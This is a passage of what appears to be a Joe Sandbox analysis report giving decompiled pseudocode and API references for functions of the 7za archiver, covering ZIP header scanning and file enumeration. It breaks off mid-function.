Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0043F7B1, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 162

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E0043F7B1(intOrPtr* __ecx) {
				intOrPtr* _t64;
				void* _t65;
				intOrPtr _t68;
				intOrPtr* _t71;
				void* _t72;
				intOrPtr _t75;
				void* _t77;
				void* _t81;
				void* _t83;
				intOrPtr _t85;
				intOrPtr _t88;
				intOrPtr* _t94;
				intOrPtr _t95;
				intOrPtr _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				intOrPtr _t105;
				void* _t109;
				intOrPtr _t117;
				void* _t118;
				intOrPtr* _t119;
				void* _t121;
				void* _t124;
				intOrPtr* _t125;
				void* _t126;
				intOrPtr _t132;

				E0046B890(E00478BB8, _t126);
				_t119 = __ecx;
				_t64 =  *__ecx;
				_t65 =  *((intOrPtr*)( *_t64 + 0x10))(_t64, 0, 0, 2, _t126 - 0x24, _t118, _t121);
				if(_t65 == 0) {
					 *((intOrPtr*)(_t126 - 0x2c)) = 0;
					 *((intOrPtr*)(_t126 - 0x28)) = 0;
					 *((intOrPtr*)(_t126 - 0x30)) = 0x47a7ec;
					 *((intOrPtr*)(_t126 - 4)) = 0;
					E0040FA26(_t126 - 0x30, 0x1002a);
					_t102 =  *((intOrPtr*)(_t126 - 0x20));
					 *((intOrPtr*)(_t126 - 0x14)) =  *((intOrPtr*)(_t126 - 0x28));
					_t68 =  *((intOrPtr*)(_t126 - 0x24));
					_t132 = _t102;
					if(_t132 > 0 || _t132 >= 0 && _t68 >= 0x1002a) {
						 *((intOrPtr*)(_t126 - 0x10)) = 0x1002a;
					} else {
						 *((intOrPtr*)(_t126 - 0x10)) = _t68;
					}
					if( *((intOrPtr*)(_t126 - 0x10)) < 0x16) {
						L22:
						_t124 = 1;
					} else {
						_t94 = _t119 + 0x10;
						asm("sbb ecx, esi");
						 *((intOrPtr*)(_t126 - 0x1c)) = _t68 -  *((intOrPtr*)(_t126 - 0x10));
						_t71 =  *_t119;
						 *((intOrPtr*)(_t126 - 0x18)) = _t102;
						_t115 =  *_t71;
						_t72 =  *((intOrPtr*)( *_t71 + 0x10))(_t71,  *((intOrPtr*)(_t126 - 0x1c)), _t102, 0, _t94);
						if(_t72 == 0) {
							__eflags =  *_t94 -  *((intOrPtr*)(_t126 - 0x1c));
							if( *_t94 ==  *((intOrPtr*)(_t126 - 0x1c))) {
								__eflags =  *((intOrPtr*)(_t94 + 4)) -  *((intOrPtr*)(_t126 - 0x18));
								if( *((intOrPtr*)(_t94 + 4)) ==  *((intOrPtr*)(_t126 - 0x18))) {
									_t95 =  *((intOrPtr*)(_t126 - 0x10));
									_t75 = E0043EEB2(_t115,  *((intOrPtr*)(_t126 - 0x14)), _t95); // executed
									__eflags = _t75;
									if(_t75 != 0) {
										_t96 = _t95 + 0xffffffea;
										__eflags = _t96;
										if(_t96 >= 0) {
											_t125 =  *((intOrPtr*)(_t126 + 8));
											do {
												_t105 =  *((intOrPtr*)(_t126 - 0x14));
												__eflags =  *((intOrPtr*)(_t96 + _t105)) -  *0x48d850; // 0x6054b50
												if(__eflags != 0) {
													goto L21;
												} else {
													__eflags = _t96 - 0x14;
													if(_t96 < 0x14) {
														L20:
														__eflags =  *((intOrPtr*)(_t96 + _t105 + 4));
														if( *((intOrPtr*)(_t96 + _t105 + 4)) == 0) {
															_t77 = _t96 + _t105;
															_push(0);
															 *_t125 =  *((intOrPtr*)(_t77 + 0xc));
															 *((intOrPtr*)(_t125 + 4)) = 0;
															 *((intOrPtr*)(_t125 + 8)) =  *((intOrPtr*)(_t77 + 0x10));
															 *((intOrPtr*)(_t125 + 0xc)) = 0;
															_t97 =  *((intOrPtr*)(_t125 + 0xc));
															asm("cdq");
															asm("sbb edx, ecx");
															_t81 = _t96 -  *((intOrPtr*)(_t126 - 0x10)) +  *((intOrPtr*)(_t126 - 0x24));
															asm("adc edx, [ebp-0x20]");
															_t109 =  *((intOrPtr*)(_t125 + 8)) +  *_t125;
															asm("adc ebx, [esi+0x4]");
															__eflags = _t81 - _t109;
															if(_t81 != _t109) {
																L29:
																asm("sbb edx, ebx");
																 *((intOrPtr*)(_t119 + 0x40)) = _t81 - _t109;
																 *((intOrPtr*)(_t119 + 0x44)) = 0;
															} else {
																__eflags = 0 - _t97;
																if(0 != _t97) {
																	goto L29;
																}
															}
															goto L25;
														} else {
															goto L21;
														}
													} else {
														_t117 =  *((intOrPtr*)(_t96 + _t105 - 0x14));
														_t32 = _t105 - 0x14; // -232
														_t83 = _t96 + _t32;
														__eflags = _t117 -  *0x48d858; // 0x7064b50
														if(__eflags != 0) {
															goto L20;
														} else {
															 *((intOrPtr*)(_t126 - 0x1c)) =  *((intOrPtr*)(_t83 + 8));
															 *((intOrPtr*)(_t126 - 0x18)) =  *((intOrPtr*)(_t83 + 0xc));
															_t85 = E0043F757(_t119, _t117,  *((intOrPtr*)(_t83 + 8)),  *((intOrPtr*)(_t83 + 0xc)), _t125);
															__eflags = _t85;
															if(_t85 == 0) {
																L25:
																_t124 = 0;
															} else {
																asm("adc ecx, [ebp-0x18]");
																_t88 = E0043F757(_t119, _t117,  *((intOrPtr*)(_t119 + 0x48)) +  *((intOrPtr*)(_t126 - 0x1c)),  *((intOrPtr*)(_t119 + 0x4c)), _t125);
																__eflags = _t88;
																if(_t88 == 0) {
																	 *((intOrPtr*)(_t119 + 0x40)) =  *((intOrPtr*)(_t119 + 0x48));
																	 *((intOrPtr*)(_t119 + 0x44)) =  *((intOrPtr*)(_t119 + 0x4c));
																	goto L25;
																} else {
																	_t105 =  *((intOrPtr*)(_t126 - 0x14));
																	goto L20;
																}
															}
														}
													}
												}
												goto L23;
												L21:
												_t96 = _t96 - 1;
												__eflags = _t96;
											} while (_t96 >= 0);
										}
									}
								}
							}
							goto L22;
						} else {
							_t124 = _t72;
						}
					}
					L23:
					 *((intOrPtr*)(_t126 - 0x30)) = 0x47a7ec;
					E00407A18( *((intOrPtr*)(_t126 - 0x28)));
					_t65 = _t124;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t126 - 0xc));
				return _t65;
			}

0x0043f7b6
0x0043f7c0
0x0043f7c8
0x0043f7d1
0x0043f7d6
0x0043f7dd
0x0043f7e0
0x0043f7e3
0x0043f7f3
0x0043f7f6
0x0043f7fe
0x0043f801
0x0043f804
0x0043f807
0x0043f809
0x0043f816
0x0043f811
0x0043f811
0x0043f811
0x0043f81d
0x0043f8e2
0x0043f8e4
0x0043f823
0x0043f826
0x0043f82b
0x0043f82d
0x0043f830
0x0043f836
0x0043f839
0x0043f83c
0x0043f841
0x0043f84c
0x0043f84f
0x0043f858
0x0043f85b
0x0043f861
0x0043f86a
0x0043f86f
0x0043f871
0x0043f873
0x0043f876
0x0043f878
0x0043f87a
0x0043f87d
0x0043f87d
0x0043f883
0x0043f889
0x00000000
0x0043f88b
0x0043f88b
0x0043f88e
0x0043f8d7
0x0043f8d9
0x0043f8dd
0x0043f91a
0x0043f91d
0x0043f922
0x0043f924
0x0043f92b
0x0043f930
0x0043f933
0x0043f936
0x0043f93a
0x0043f93c
0x0043f942
0x0043f945
0x0043f947
0x0043f94a
0x0043f94c
0x0043f952
0x0043f954
0x0043f956
0x0043f959
0x0043f94e
0x0043f94e
0x0043f950
0x00000000
0x00000000
0x0043f950
0x00000000
0x00000000
0x00000000
0x00000000
0x0043f890
0x0043f890
0x0043f894
0x0043f894
0x0043f898
0x0043f89e
0x00000000
0x0043f8a0
0x0043f8a8
0x0043f8ae
0x0043f8b1
0x0043f8b6
0x0043f8b8
0x0043f908
0x0043f908
0x0043f8ba
0x0043f8c4
0x0043f8cb
0x0043f8d0
0x0043f8d2
0x0043f90f
0x0043f915
0x00000000
0x0043f8d4
0x0043f8d4
0x00000000
0x0043f8d4
0x0043f8d2
0x0043f8b8
0x0043f89e
0x0043f88e
0x00000000
0x0043f8df
0x0043f8df
0x0043f8df
0x0043f8df
0x0043f87d
0x0043f878
0x0043f871
0x0043f85b
0x00000000
0x0043f843
0x0043f843
0x0043f843
0x0043f841
0x0043f8e5
0x0043f8e8
0x0043f8ef
0x0043f8f5
0x0043f8f7
0x0043f8fd
0x0043f905

APIs

__EH_prolog.LIBCMT ref: 0043F7B6

Part of subcall function 0043EEB2: __CxxThrowException@8.LIBC ref: 0043EEDA

Strings

c[@, xrefs: 0043F7E3, 0043F8E8

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0043EB79, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 160

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E0043EB79(void* __ecx, void* __eflags) {
				signed int _t76;
				intOrPtr _t77;
				signed int _t82;
				intOrPtr _t84;
				void* _t85;
				intOrPtr _t93;
				signed int _t99;
				signed int _t109;
				void* _t112;
				intOrPtr* _t114;
				intOrPtr _t115;
				signed int _t116;
				signed int _t117;
				signed int _t118;
				intOrPtr* _t120;
				intOrPtr _t122;
				void* _t127;
				intOrPtr _t128;
				void* _t131;
				signed int _t133;
				void* _t134;
				void* _t136;
				void* _t137;
				void* _t139;
				void* _t140;
				void* _t142;
				void* _t143;

				_t140 = __eflags;
				E0046B890(E00478B60, _t134);
				_t137 = _t136 - 0x20;
				_t131 = __ecx;
				 *((intOrPtr*)(__ecx + 0x40)) = 0;
				 *((intOrPtr*)(__ecx + 0x48)) = 0;
				 *((intOrPtr*)(__ecx + 0x44)) = 0;
				 *((intOrPtr*)(__ecx + 0x4c)) = 0;
				E0040FA26(__ecx + 0x58, 0);
				 *((intOrPtr*)(__ecx + 0x10)) =  *((intOrPtr*)(__ecx + 8));
				 *((intOrPtr*)(__ecx + 0x14)) =  *((intOrPtr*)(__ecx + 0xc));
				_t76 = E0040FAC0(_t140, 4); // executed
				if(_t76 == 0) {
					 *((intOrPtr*)(__ecx + 0x10)) =  *((intOrPtr*)(__ecx + 0x10)) + 4;
					_t77 =  *((intOrPtr*)(_t134 - 0x18));
					asm("adc [esi+0x14], edi");
					 *((intOrPtr*)(__ecx + 4)) = _t77;
					_t142 = _t77 -  *0x48d844; // 0x4034b50
					if(_t142 == 0) {
						L3:
						_t76 = 0;
					} else {
						_t143 = _t77 -  *0x48d850; // 0x6054b50
						if(_t143 != 0) {
							 *((intOrPtr*)(_t134 - 0x28)) = 0;
							 *((intOrPtr*)(_t134 - 0x24)) = 0;
							 *((intOrPtr*)(_t134 - 0x2c)) = 0x47b848;
							 *((intOrPtr*)(_t134 - 4)) = 0;
							E00440496(_t134 - 0x2c, 0x10000);
							_t99 = 3;
							 *((intOrPtr*)(_t134 - 0x14)) =  *((intOrPtr*)(_t134 - 0x24));
							 *(_t134 - 0x10) = _t99;
							E0046C5C0( *((intOrPtr*)(_t134 - 0x24)), _t134 - 0x17, _t99);
							_t93 =  *((intOrPtr*)(_t131 + 0xc));
							_t139 = _t137 + 0xc;
							_t127 =  *((intOrPtr*)(_t131 + 8)) + 1;
							asm("adc ebx, 0x0");
							while(1) {
								_t120 =  *((intOrPtr*)(_t134 + 0xc));
								__eflags = _t120;
								if(_t120 == 0) {
									goto L9;
								}
								_t112 = _t127 -  *((intOrPtr*)(_t131 + 8));
								asm("sbb eax, [esi+0xc]");
								__eflags = _t93 -  *((intOrPtr*)(_t120 + 4));
								if(__eflags > 0) {
									L22:
									 *((intOrPtr*)(_t134 - 0x2c)) = 0x47a7ec;
									E00407A18( *((intOrPtr*)(_t134 - 0x24)));
									_t76 = 1;
								} else {
									if(__eflags < 0) {
										goto L9;
									} else {
										__eflags = _t112 -  *_t120;
										if(_t112 >  *_t120) {
											goto L22;
										} else {
											goto L9;
										}
									}
								}
								goto L25;
								L9:
								 *((intOrPtr*)(_t134 - 0x1c)) = 0x10000 -  *(_t134 - 0x10);
								_t82 = E0040FA74( *((intOrPtr*)(_t134 + 8)),  *(_t134 - 0x10) +  *((intOrPtr*)(_t134 - 0x14)), _t134 - 0x1c);
								__eflags = _t82;
								if(_t82 != 0) {
									_t133 = _t82;
									goto L24;
								} else {
									_t84 =  *((intOrPtr*)(_t134 - 0x1c));
									 *((intOrPtr*)(_t131 + 0x10)) =  *((intOrPtr*)(_t131 + 0x10)) + _t84;
									asm("adc dword [esi+0x14], 0x0");
									_t85 = _t84 +  *(_t134 - 0x10);
									__eflags = _t85 - 6;
									if(_t85 < 6) {
										goto L22;
									} else {
										 *(_t134 - 0x10) =  *(_t134 - 0x10) & 0x00000000;
										_t109 = _t85 - 5;
										__eflags = _t109;
										 *((intOrPtr*)(_t134 - 0x20)) = _t109;
										if(_t109 <= 0) {
											L20:
											_t127 = _t127 + _t109;
											asm("adc ebx, 0x0");
											 *(_t134 - 0x10) = _t85 - _t109;
											E0046BAB0( *((intOrPtr*)(_t134 - 0x14)), _t109 +  *((intOrPtr*)(_t134 - 0x14)), _t85 - _t109);
											_t139 = _t139 + 0xc;
											continue;
										} else {
											do {
												_t122 =  *((intOrPtr*)(_t134 - 0x14));
												_t114 =  *(_t134 - 0x10) + _t122;
												__eflags =  *_t114 - 0x50;
												if( *_t114 != 0x50) {
													goto L19;
												} else {
													_t115 =  *_t114;
													 *((intOrPtr*)(_t131 + 4)) = _t115;
													__eflags = _t115 -  *0x48d850; // 0x6054b50
													if(__eflags != 0) {
														__eflags = _t115 -  *0x48d844; // 0x4034b50
														if(__eflags != 0) {
															L17:
															_t116 = 0;
															__eflags = 0;
															goto L18;
														} else {
															_t117 =  *(_t134 - 0x10);
															__eflags =  *((char*)(_t117 + _t122 + 4)) - 0x80;
															if( *((char*)(_t117 + _t122 + 4)) < 0x80) {
																goto L23;
															} else {
																goto L17;
															}
														}
													} else {
														_t118 =  *(_t134 - 0x10);
														__eflags =  *((short*)(_t118 + _t122 + 4));
														_t116 = _t118 & 0xffffff00 |  *((short*)(_t118 + _t122 + 4)) == 0x00000000;
														L18:
														__eflags = _t116;
														if(_t116 != 0) {
															L23:
															_t128 = _t127 +  *(_t134 - 0x10);
															asm("adc ebx, 0x0");
															 *((intOrPtr*)(_t131 + 0x48)) = _t128;
															 *((intOrPtr*)(_t131 + 0x4c)) = _t93;
															asm("adc ebx, 0x0");
															 *((intOrPtr*)(_t131 + 0x10)) = _t128 + 4;
															 *((intOrPtr*)(_t131 + 0x14)) = _t93;
															_t133 = 0;
															__eflags = 0;
															L24:
															 *((intOrPtr*)(_t134 - 0x2c)) = 0x47a7ec;
															E00407A18( *((intOrPtr*)(_t134 - 0x24)));
															_t76 = _t133;
														} else {
															goto L19;
														}
													}
												}
												goto L25;
												L19:
												 *(_t134 - 0x10) =  *(_t134 - 0x10) + 1;
												_t109 =  *((intOrPtr*)(_t134 - 0x20));
												__eflags =  *(_t134 - 0x10) - _t109;
											} while ( *(_t134 - 0x10) < _t109);
											goto L20;
										}
									}
								}
								goto L25;
							}
						} else {
							goto L3;
						}
					}
				}
				L25:
				 *[fs:0x0] =  *((intOrPtr*)(_t134 - 0xc));
				return _t76;
			}

0x0043eb79
0x0043eb7e
0x0043eb83
0x0043eb89
0x0043eb8d
0x0043eb90
0x0043eb97
0x0043eb9a
0x0043eb9d
0x0043eba8
0x0043ebb3
0x0043ebb6
0x0043ebbd
0x0043ebc3
0x0043ebc7
0x0043ebca
0x0043ebcd
0x0043ebd0
0x0043ebd6
0x0043ebe0
0x0043ebe0
0x0043ebd8
0x0043ebd8
0x0043ebde
0x0043ebe7
0x0043ebea
0x0043ebed
0x0043ebfc
0x0043ebff
0x0043ec09
0x0043ec0a
0x0043ec0d
0x0043ec16
0x0043ec1e
0x0043ec21
0x0043ec24
0x0043ec27
0x0043ec2a
0x0043ec2a
0x0043ec2d
0x0043ec2f
0x00000000
0x00000000
0x0043ec35
0x0043ec38
0x0043ec3b
0x0043ec3e
0x0043ed05
0x0043ed08
0x0043ed0f
0x0043ed17
0x0043ec44
0x0043ec44
0x00000000
0x0043ec46
0x0043ec46
0x0043ec48
0x00000000
0x00000000
0x00000000
0x00000000
0x0043ec48
0x0043ec44
0x00000000
0x0043ec4e
0x0043ec58
0x0043ec68
0x0043ec6d
0x0043ec6f
0x0043ed01
0x00000000
0x0043ec75
0x0043ec75
0x0043ec7b
0x0043ec7e
0x0043ec82
0x0043ec84
0x0043ec87
0x00000000
0x0043ec89
0x0043ec89
0x0043ec8d
0x0043ec90
0x0043ec92
0x0043ec95
0x0043ece2
0x0043ece2
0x0043ece4
0x0043ece9
0x0043ecf4
0x0043ecf9
0x00000000
0x0043ec97
0x0043ec97
0x0043ec97
0x0043ec9d
0x0043ec9f
0x0043eca2
0x00000000
0x0043eca4
0x0043eca4
0x0043eca6
0x0043eca9
0x0043ecaf
0x0043ecbf
0x0043ecc5
0x0043ecd1
0x0043ecd1
0x0043ecd1
0x00000000
0x0043ecc7
0x0043ecc7
0x0043ecca
0x0043eccf
0x00000000
0x00000000
0x00000000
0x00000000
0x0043eccf
0x0043ecb1
0x0043ecb1
0x0043ecb4
0x0043ecba
0x0043ecd3
0x0043ecd3
0x0043ecd5
0x0043ed1a
0x0043ed1a
0x0043ed1d
0x0043ed20
0x0043ed26
0x0043ed29
0x0043ed2c
0x0043ed2f
0x0043ed32
0x0043ed32
0x0043ed34
0x0043ed37
0x0043ed3e
0x0043ed44
0x00000000
0x00000000
0x00000000
0x0043ecd5
0x0043ecaf
0x00000000
0x0043ecd7
0x0043ecd7
0x0043ecda
0x0043ecdd
0x0043ecdd
0x00000000
0x0043ec97
0x0043ec95
0x0043ec87
0x00000000
0x0043ec6f
0x00000000
0x00000000
0x00000000
0x0043ebde
0x0043ebd6
0x0043ed46
0x0043ed4c
0x0043ed54

APIs

__EH_prolog.LIBCMT ref: 0043EB7E

Strings

c[@, xrefs: 0043ED08, 0043ED37

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00415349, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 72

C-Code - Quality: 94%

			E00415349(intOrPtr __ecx, intOrPtr __edx) {
				void* _t40;
				signed int _t41;
				signed int _t42;
				void* _t43;
				intOrPtr _t50;
				intOrPtr _t64;
				void* _t65;
				void* _t69;

				_t50 = __ecx;
				E0046B890(E00474820, _t69);
				 *((intOrPtr*)(_t69 - 0x14)) = __edx;
				 *((intOrPtr*)(_t69 - 0x18)) = __ecx;
				 *(_t69 - 0x10) = 0;
				if( *((intOrPtr*)(__ecx + 8)) <= 0) {
					L8:
					E004152E1( *((intOrPtr*)(_t69 - 0x14)));
					_t40 = 0;
				} else {
					while(1) {
						_t41 =  *(_t50 + 0xc);
						_t64 =  *((intOrPtr*)(_t41 +  *(_t69 - 0x10) * 4));
						if( *((intOrPtr*)(_t64 + 4)) != 0) {
							_push(_t64);
							_push(0xffffffff);
							_t42 = E00415303( *((intOrPtr*)(_t69 - 0x14)), _t69, __eflags, 0xffffffff);
						} else {
							_t42 = _t41 | 0xffffffff;
						}
						 *((intOrPtr*)(_t69 - 0x28)) = 0;
						 *((intOrPtr*)(_t69 - 0x24)) = 0;
						 *((intOrPtr*)(_t69 - 0x20)) = 0;
						 *((intOrPtr*)(_t69 - 0x1c)) = 4;
						 *((intOrPtr*)(_t69 - 0x2c)) = 0x47a420;
						 *(_t69 - 4) = 0;
						_t23 = _t64 + 0xc; // 0xc, executed
						_t43 = E00415420(_t23, _t42, 0xffffffff, _t64, _t69 - 0x2c,  *((intOrPtr*)(_t69 - 0x14)), 0,  *((intOrPtr*)(_t69 + 8)),  *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 0x10))); // executed
						_t65 = _t43;
						 *((intOrPtr*)(_t69 - 0x2c)) = 0x47a420;
						 *(_t69 - 4) = 1;
						E0040862D();
						 *(_t69 - 4) =  *(_t69 - 4) | 0xffffffff;
						E00408604(_t69 - 0x2c);
						if(_t65 != 0) {
							break;
						}
						 *(_t69 - 0x10) =  *(_t69 - 0x10) + 1;
						if( *(_t69 - 0x10) <  *((intOrPtr*)( *((intOrPtr*)(_t69 - 0x18)) + 8))) {
							_t50 =  *((intOrPtr*)(_t69 - 0x18));
							continue;
						} else {
							goto L8;
						}
						goto L9;
					}
					_t40 = _t65;
				}
				L9:
				 *[fs:0x0] =  *((intOrPtr*)(_t69 - 0xc));
				return _t40;
			}

0x00415349
0x0041534e
0x0041535e
0x00415361
0x00415364
0x00415367
0x00415401
0x00415404
0x00415409
0x0041536d
0x00415377
0x00415377
0x0041537d
0x00415383
0x0041538d
0x0041538e
0x00415392
0x00415385
0x00415385
0x00415385
0x00415397
0x0041539a
0x0041539d
0x004153a0
0x004153a7
0x004153b2
0x004153c3
0x004153c6
0x004153cb
0x004153cd
0x004153d3
0x004153da
0x004153df
0x004153e6
0x004153ed
0x00000000
0x00000000
0x004153ef
0x004153fb
0x00415374
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004153fb
0x0041541c
0x0041541c
0x0041540b
0x00415411
0x00415419

APIs

__EH_prolog.LIBCMT ref: 0041534E

Part of subcall function 00415420: __EH_prolog.LIBCMT ref: 00415425
Part of subcall function 00415420: GetLastError.KERNEL32(00000000,?,00000001,?,59@,00000000), ref: 00415542
Part of subcall function 00415420: GetLastError.KERNEL32(00000000,00000000,00000001,?,59@,00000000), ref: 0041578C
Part of subcall function 00415420: GetLastError.KERNEL32(?,?,00000000,0000002A,?,59@,00000000), ref: 00415B38

Strings

59@, xrefs: 0041535C, 0041536D

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0040B431, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55

C-Code - Quality: 100%

			E0040B431(intOrPtr* __ecx, void* __edx, void* __eflags) {
				void* __edi;
				signed int _t24;
				void* _t53;

				E0046B890(E00473D9C, _t53);
				_t47 =  *(_t53 + 8);
				if(E0040B669( *(_t53 + 8)) == 0) {
					_t15 = _t53 + 8;
					 *_t15 =  *(_t53 + 8) | 0xffffffff;
					__eflags =  *_t15;
					 *(_t53 - 4) = 1;
					_t24 = E0040B174(_t53 + 8, _t47,  *_t15, _t47, __ecx); // executed
					_t34 = _t24;
					E0040B154(_t53 + 8);
				} else {
					E0040B414(__ecx);
					 *(_t53 - 0x1c) =  *(_t53 - 0x1c) | 0xffffffff;
					 *((char*)(__ecx + 0x24)) = 1;
					_t34 = 0;
					 *(_t53 - 4) = 0;
					if(E0040BC4A(_t47) != 0) {
						E00403593(__ecx + 0x28, _t47 + 8);
						if( *((intOrPtr*)(_t53 - 0x17)) != 0) {
							 *__ecx =  *((intOrPtr*)(_t53 - 0x14));
							 *((intOrPtr*)(__ecx + 4)) =  *((intOrPtr*)(_t53 - 0x10));
						}
						_t34 = 1;
					}
					 *(_t53 - 4) =  *(_t53 - 4) | 0xffffffff;
					E0040B87D(_t53 - 0x1c);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t53 - 0xc));
				return _t34;
			}

0x0040b436
0x0040b441
0x0040b44f
0x0040b49e
0x0040b49e
0x0040b49e
0x0040b4a7
0x0040b4ae
0x0040b4b6
0x0040b4b8
0x0040b451
0x0040b453
0x0040b458
0x0040b45c
0x0040b460
0x0040b466
0x0040b470
0x0040b479
0x0040b481
0x0040b486
0x0040b48b
0x0040b48b
0x0040b48e
0x0040b48e
0x0040b490
0x0040b497
0x0040b497
0x0040b4c5
0x0040b4cd

APIs

__EH_prolog.LIBCMT ref: 0040B436

Part of subcall function 0040B174: __EH_prolog.LIBCMT ref: 0040B179
Part of subcall function 0040B174: FindFirstFileW.KERNELBASE(000000FF,?,?), ref: 0040B1B0
Part of subcall function 0040B174: FindFirstFileW.KERNELBASE(00000002,?,00000003), ref: 0040B1E8
Part of subcall function 0040B174: AreFileApisANSI.KERNEL32(000000FF), ref: 0040B221
Part of subcall function 0040B174: FindFirstFileA.KERNEL32(?,?,00000001), ref: 0040B242

Part of subcall function 0040B154: FindClose.KERNEL32(00000000,?,0040B18C), ref: 0040B15F

Strings

59@, xrefs: 0040B440

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00418A23, Relevance: 3.2, APIs: 2, Instructions: 206

C-Code - Quality: 80%

			E00418A23(intOrPtr __ecx) {
				intOrPtr _t105;
				intOrPtr _t113;
				void* _t115;
				intOrPtr _t118;
				long _t123;
				intOrPtr* _t131;
				void* _t137;
				void* _t141;
				intOrPtr* _t151;
				signed int _t157;
				intOrPtr _t192;
				intOrPtr* _t196;
				long _t198;
				void* _t199;

				E0046B890(E00474EAE, _t199);
				_t192 = __ecx;
				_t157 = 0;
				_push(0x90);
				 *((intOrPtr*)(__ecx + 0x28)) = 0;
				 *((intOrPtr*)(_t199 - 0x14)) = __ecx;
				 *((intOrPtr*)(__ecx + 0x2c)) = 0;
				_t105 = E004079F2();
				 *((intOrPtr*)(_t199 - 0x18)) = _t105;
				 *(_t199 - 4) = 0;
				if(_t105 == 0) {
					_t196 = 0;
					__eflags = 0;
				} else {
					_t196 = E00418C9D(_t105);
				}
				 *(_t199 - 4) =  *(_t199 - 4) | 0xffffffff;
				 *((intOrPtr*)(_t199 - 0x10)) = _t196;
				if(_t196 != _t157) {
					 *((intOrPtr*)( *_t196 + 4))(_t196);
				}
				 *((intOrPtr*)(_t196 + 0x7c)) =  *((intOrPtr*)(_t199 + 0x1c));
				 *(_t199 - 4) = 1;
				 *(_t199 - 0x3c) = _t157;
				 *(_t199 - 0x38) = _t157;
				 *(_t199 - 0x34) = _t157;
				E00401E9A(_t199 - 0x3c, 3);
				 *(_t199 - 4) = 2;
				 *(_t199 - 0x24) = _t157;
				 *(_t199 - 0x20) = _t157;
				 *(_t199 - 0x1c) = _t157;
				E00401E9A(_t199 - 0x24, 3);
				 *(_t199 - 4) = 3;
				 *(_t199 - 0x30) = _t157;
				 *(_t199 - 0x2c) = _t157;
				 *(_t199 - 0x28) = _t157;
				E00401E9A(_t199 - 0x30, 3);
				 *(_t199 - 4) = 4;
				if( *((intOrPtr*)(_t199 + 0x14)) != _t157 ||  *((intOrPtr*)(_t199 + 0x10)) != _t157) {
					_t58 = _t196 + 8; // 0x8
					 *((intOrPtr*)( *((intOrPtr*)(_t196 + 8)) + 0xc))(_t58,  *((intOrPtr*)( *((intOrPtr*)(_t199 + 0x18)))));
					goto L13;
				} else {
